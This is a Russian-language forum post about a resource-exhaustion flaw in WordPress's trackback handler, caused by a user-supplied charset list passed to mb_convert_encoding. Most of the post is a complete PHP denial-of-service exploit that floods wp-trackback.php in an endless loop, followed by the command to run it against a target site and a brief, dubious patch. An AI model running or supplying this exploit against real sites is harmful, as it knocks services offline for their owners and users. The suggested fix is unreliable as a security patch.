Показать сообщение отдельно

  #7  
Старый 24.10.2009, 01:15
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами: 9010027

Репутация: 308
По умолчанию

Серьезная быра была обнаружена в файле WP-trackbacks.php. Уязвимость состоит в том, что любой посетитель буквально 20 запросами может положить сайт.

Открываем файл WP-trackbacks.php:
Код:
if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title     = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt   = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}
$charset передается через $_POST['charset']. И вя проблема состоит в кодировке mb_convert_encoding

Код:
$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);
Эта функция преобразует $text в UTF-8. Но если мы сделаем так:
Код:
$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);
mb_convert_encoding попытает определить кодировку $text, и будет проверять является ли она ISO-8859-1, и так снова и снова. Эскплоит уже придумали до меня:
Код:
    <?php
    //wordpress Resource exhaustion Exploit
    // by rooibo
    //security@wordpress.org contacted and get a response,
    //but no solution available.
    if(count($argv) < 2) {
    echo “You need to specify a url to attack\n”;
    exit;
    }

    $url = $argv[1];

    $data = parse_url($url);
    if(count($data) < 2) {
    echo “The url should have http:// in front of it, and should be complete.\n”;
    exit;
    }

    if(count($data) == 2) {
    $path = ”;
    } else {
    $path = $data['path'];
    }
    $path = trim($path,’/');
    $path .= ‘/wp-trackback.php’;
    if($path{0} != ‘/’) {
    $path = ‘/’.$path;
    }

    $b = “”;
    $b = str_pad($b,140000,’ABCEDFG’);
    $b = utf8_encode($b);
    $charset = “”;
    $charset = str_pad($charset,140000,”UTF-8,”);

    $str = ‘charset=’.urlencode($charset);
    $str .= ‘&url=www.example.com’;
    $str .= ‘&title=’.$b;
    $str .= ‘&blog_name=lol’;
    $str .= ‘&excerpt=lol’;

    $count = 0;
    while(1) {
    $fp = @fsockopen($data['host'],80);
    if(!$fp) {
    if($count > 0) {
    echo “down!!!!\n”;
    exit;
    }
    echo “unable to connect to: “.$data['host'].”\n”;
    exit;
    }

    fputs($fp, “POST $path HTTP/1.1\r\n”);
    fputs($fp, “Host: “.$data['host'].”\r\n”);
    fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
    fputs($fp, “Content-length: “.strlen($str).”\r\n”);
    fputs($fp, “Connection: close\r\n\r\n”);
    fputs($fp, $str.”\r\n\r\n”);

    echo “hit!\n”;
    $count++;
    }

    ?>
Запускаем так: php exploit.php http://site.com

Для патчинга открываем файл WP-trackbacks.php, ищем строку:
Код:
$charset = $_POST['charset'];
Заменяем на:
Код:
$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }
 
Ответить с цитированием